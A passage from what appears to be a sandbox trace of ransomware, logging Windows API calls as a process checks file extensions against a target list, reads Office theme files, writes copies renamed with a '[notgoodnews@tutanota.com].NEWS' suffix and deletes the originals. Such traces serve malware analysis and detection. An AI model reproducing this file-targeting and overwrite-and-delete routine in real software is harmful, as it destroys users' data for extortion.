Office\\Document Themes 14\\Theme Effects\\Module.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.908] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx")) returned 1 [0248.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.909] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.909] lstrlenW (lpString=".doc") returned 4 [0248.909] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.910] lstrlenW (lpString=".docx") returned 5 [0248.910] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.910] lstrlenW (lpString=".pdf") returned 4 [0248.910] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.910] lstrlenW (lpString=".xls") returned 4 [0248.910] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.910] lstrlenW (lpString=".xlsx") returned 5 [0248.910] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.910] lstrlenW (lpString=".ppt") returned 4 [0248.910] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.910] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.910] lstrlenW (lpString=".zip") returned 4 [0248.911] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.911] lstrlenW (lpString=".rar") returned 4 [0248.911] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.911] lstrlenW (lpString=".bz2") returned 4 [0248.911] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.911] lstrlenW (lpString=".7z") returned 3 [0248.911] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.911] lstrlenW (lpString=".dbf") returned 4 [0248.911] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.911] lstrlenW (lpString=".1cd") returned 4 [0248.911] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.912] lstrlenW (lpString=".jpg") returned 4 [0248.912] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.912] lstrlenW (lpString=".doc") returned 4 [0248.912] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.912] lstrlenW (lpString=".docx") returned 5 [0248.912] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.913] lstrlenW (lpString=".pdf") returned 4 [0248.913] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.913] lstrlenW (lpString=".xls") returned 4 [0248.913] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.913] lstrlenW (lpString=".xlsx") returned 5 [0248.913] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.913] lstrlenW (lpString=".ppt") returned 4 [0248.913] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.913] lstrlenW (lpString=".zip") returned 4 [0248.913] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.913] lstrlenW (lpString=".rar") returned 4 [0248.913] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.914] lstrlenW (lpString=".bz2") returned 4 [0248.914] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.914] lstrlenW (lpString=".7z") returned 3 [0248.914] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.914] lstrlenW (lpString=".dbf") returned 4 [0248.914] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.914] lstrlenW (lpString=".1cd") returned 4 [0248.914] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx") returned 78 [0248.914] lstrlenW (lpString=".jpg") returned 4 [0248.915] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.915] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0248.915] lstrlenW (lpString="Opulent.eftx") returned 12 [0248.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0249.175] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=32857) returned 1 [0249.175] CloseHandle (hObject=0x384) returned 1 [0249.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 0x20 [0252.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0252.028] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0252.028] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0252.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0252.029] GetLastError () returned 0x0 [0252.029] ReadFile (in: hFile=0x304, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x8059, lpOverlapped=0x0) returned 1 [0252.054] WriteFile (in: hFile=0x1f0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x8060, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x8060, lpOverlapped=0x0) returned 1 [0252.062] ReadFile (in: hFile=0x304, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0252.062] WriteFile (in: hFile=0x1f0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.063] SetEndOfFile (hFile=0x1f0) returned 1 [0252.089] CloseHandle (hObject=0x1f0) returned 1 [0252.089] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0252.089] SetEndOfFile (hFile=0x304) returned 1 [0252.097] CloseHandle (hObject=0x304) returned 1 [0252.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0252.098] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\opulent.eftx")) returned 1 [0252.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.099] lstrlenW (lpString=".doc") returned 4 [0252.099] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.099] lstrlenW (lpString=".docx") returned 5 [0252.099] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.099] lstrlenW (lpString=".pdf") returned 4 [0252.099] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.099] lstrlenW (lpString=".xls") returned 4 [0252.100] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.100] lstrlenW (lpString=".xlsx") returned 5 [0252.100] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.100] lstrlenW (lpString=".ppt") returned 4 [0252.100] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.100] lstrlenW (lpString=".zip") returned 4 [0252.100] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.101] lstrlenW (lpString=".rar") returned 4 [0252.101] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.101] lstrlenW (lpString=".bz2") returned 4 [0252.101] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.101] lstrlenW (lpString=".7z") returned 3 [0252.101] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.101] lstrlenW (lpString=".dbf") returned 4 [0252.101] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.102] lstrlenW (lpString=".1cd") returned 4 [0252.102] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.102] lstrlenW (lpString=".jpg") returned 4 [0252.102] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.103] lstrlenW (lpString=".doc") returned 4 [0252.103] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.103] lstrlenW (lpString=".docx") returned 5 [0252.103] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.103] lstrlenW (lpString=".pdf") returned 4 [0252.103] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.103] lstrlenW (lpString=".xls") returned 4 [0252.103] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.103] lstrlenW (lpString=".xlsx") returned 5 [0252.103] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.104] lstrlenW (lpString=".ppt") returned 4 [0252.104] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.104] lstrlenW (lpString=".zip") returned 4 [0252.442] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.442] lstrlenW (lpString=".rar") returned 4 [0252.442] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.442] lstrlenW (lpString=".bz2") returned 4 [0252.442] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.442] lstrlenW (lpString=".7z") returned 3 [0252.442] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.442] lstrlenW (lpString=".dbf") returned 4 [0252.442] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.443] lstrlenW (lpString=".1cd") returned 4 [0252.443] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Opulent.eftx") returned 79 [0252.443] lstrlenW (lpString=".jpg") returned 4 [0252.443] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.443] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0252.444] lstrlenW (lpString="Perspective.eftx") returned 16 [0252.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0252.838] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=21423) returned 1 [0252.839] CloseHandle (hObject=0x3d4) returned 1 [0252.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0252.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0252.840] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0252.840] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0252.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.841] GetLastError () returned 0x0 [0252.841] ReadFile (in: hFile=0x3d4, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x53af, lpOverlapped=0x0) returned 1 [0252.876] WriteFile (in: hFile=0x3c0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0252.881] ReadFile (in: hFile=0x3d4, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0252.881] WriteFile (in: hFile=0x3c0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xf4, lpOverlapped=0x0) returned 1 [0252.881] SetEndOfFile (hFile=0x3c0) returned 1 [0252.881] CloseHandle (hObject=0x3c0) returned 1 [0252.882] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0252.882] SetEndOfFile (hFile=0x3d4) returned 1 [0252.891] CloseHandle (hObject=0x3d4) returned 1 [0252.891] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0253.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.184] lstrlenW (lpString=".doc") returned 4 [0253.185] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.185] lstrlenW (lpString=".docx") returned 5 [0253.185] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.185] lstrlenW (lpString=".pdf") returned 4 [0253.185] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.185] lstrlenW (lpString=".xls") returned 4 [0253.185] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.186] lstrlenW (lpString=".xlsx") returned 5 [0253.186] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.186] lstrlenW (lpString=".ppt") returned 4 [0253.186] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.186] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.186] lstrlenW (lpString=".zip") returned 4 [0253.186] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.186] lstrlenW (lpString=".rar") returned 4 [0253.186] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.187] lstrlenW (lpString=".bz2") returned 4 [0253.187] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.187] lstrlenW (lpString=".7z") returned 3 [0253.187] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.187] lstrlenW (lpString=".dbf") returned 4 [0253.187] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.187] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.187] lstrlenW (lpString=".1cd") returned 4 [0253.188] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.188] lstrlenW (lpString=".jpg") returned 4 [0253.188] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.188] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.189] lstrlenW (lpString=".doc") returned 4 [0253.189] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.189] lstrlenW (lpString=".docx") returned 5 [0253.189] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.189] lstrlenW (lpString=".pdf") returned 4 [0253.189] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0253.189] lstrlenW (lpString=".xls") returned 4 [0253.189] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0253.190] lstrlenW (lpString=".xlsx") returned 5 [0253.190] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0253.190] lstrlenW (lpString=".ppt") returned 4 [0253.190] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0253.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.190] lstrlenW (lpString=".zip") returned 4 [0253.190] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0253.190] lstrlenW (lpString=".rar") returned 4 [0253.191] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0253.191] lstrlenW (lpString=".bz2") returned 4 [0253.191] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0253.191] lstrlenW (lpString=".7z") returned 3 [0253.191] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0253.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.191] lstrlenW (lpString=".dbf") returned 4 [0253.191] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0253.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.192] lstrlenW (lpString=".1cd") returned 4 [0253.192] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0253.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0253.192] lstrlenW (lpString=".jpg") returned 4 [0253.192] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0253.193] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0253.193] lstrlenW (lpString="Technic.eftx") returned 12 [0253.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.246] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2deff1c | out: lpFileSize=0x2deff1c*=23692) returned 1 [0253.246] CloseHandle (hObject=0x324) returned 1 [0253.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 0x20 [0253.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0253.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.247] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0253.248] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0253.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.248] GetLastError () returned 0x0 [0253.249] ReadFile (in: hFile=0x324, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x5c8c, lpOverlapped=0x0) returned 1 [0253.254] WriteFile (in: hFile=0x3a0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x5c90, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0x5c90, lpOverlapped=0x0) returned 1 [0253.258] ReadFile (in: hFile=0x324, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2defed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2defed4*=0x0, lpOverlapped=0x0) returned 1 [0253.259] WriteFile (in: hFile=0x3a0, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2defc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2defc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.260] SetEndOfFile (hFile=0x3a0) returned 1 [0253.260] CloseHandle (hObject=0x3a0) returned 1 [0253.260] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2defec8 | out: lpNewFilePointer=0x0) returned 1 [0253.261] SetEndOfFile (hFile=0x324) returned 1 [0253.269] CloseHandle (hObject=0x324) returned 1 [0253.269] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0253.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\technic.eftx")) returned 1 [0253.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Technic.eftx") returned 79 [0253.271] lstrlenW (lpString=".doc") returned 4 [0253.271] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0253.271] lstrlenW (lpString=".docx") returned 5 [0253.271] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0253.272] lstrlenW (lpString=".pdf") returned 4 [0253.272] lstrcmpiW (lpString1=".pdf", 